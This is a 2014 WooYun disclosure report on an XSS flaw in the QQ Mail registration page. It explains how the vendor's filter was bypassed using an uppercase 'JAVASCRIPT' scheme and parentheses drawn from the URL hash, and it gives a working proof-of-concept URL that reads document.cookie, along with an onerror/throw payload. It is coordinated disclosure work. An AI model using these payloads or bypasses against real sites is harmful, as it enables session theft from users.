漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-080658
漏洞标题:qq 邮箱注册处 xss 2
相关厂商:腾讯
漏洞作者: 路人甲
提交时间:2014-10-25 22:12
修复时间:2014-12-09 22:14
公开时间:2014-12-09 22:14
漏洞类型:xss跨站脚本攻击
危害等级:低
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-10-25: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-11-06: 细节向核心白帽子及相关领域专家公开
2014-11-16: 细节向普通白帽子公开
2014-11-26: 细节向实习白帽子公开
2014-12-09: 细节向公众公开
简要描述:
qq 邮箱注册处 xss 2
详细说明:
上次提交漏洞 http://wooyun.org/bugs/wooyun-2014-078950
a标签中可控的href值使用javascript伪协议经过点击触发执行
经过修复:
取消按钮修改为通过js动态生成,并且对特殊符号进行了过滤
regDomain = regDomain.replace("javascript", "");
String.prototype.replace()
第一个参数如果是字符串类型,是对大小写敏感的,使用大写的JAVASCRIPT即可绕过
regDomain = RegExp.$2.replace(/["'<>\(\)]/g, "");
此处的$2代表的是url中domain=后面的值直到末尾,并且删除了 ' " < > ( )
过滤了圆括号这给执行js方法带来了很大的不便
在dom中的js环境里可以使用throw完美解决
<img src="x" onerror="javascript:window.onerror=eval;throw'=alert\x281\x29';">
但是执行js则会报错
使用大写的JAVASCRIPT:可以执行js后可以把两个圆括号放进url的注释部分
#()
然后通过localtion.hash[1]来访问
最终构造url:
http://zc.qq.com/iframe/2/reg.html?sid=_&domain=Javascript:h=location.hash;location.href=/Javascript:alert/.source+h[1]+/document.cookie/.source+h[2]//#()
漏洞证明:
http://zc.qq.com/iframe/2/reg.html?sid=_&domain=Javascript:h=location.hash;location.href=/Javascript:alert/.source+h[1]+/document.cookie/.source+h[2]//#()
修复方案:
取消按钮可以使用history.back()返回原来的页面嘛
或者限定跳转的url:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:5
确认时间:2014-10-27 16:06
厂商回复:
非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
最新状态:
暂无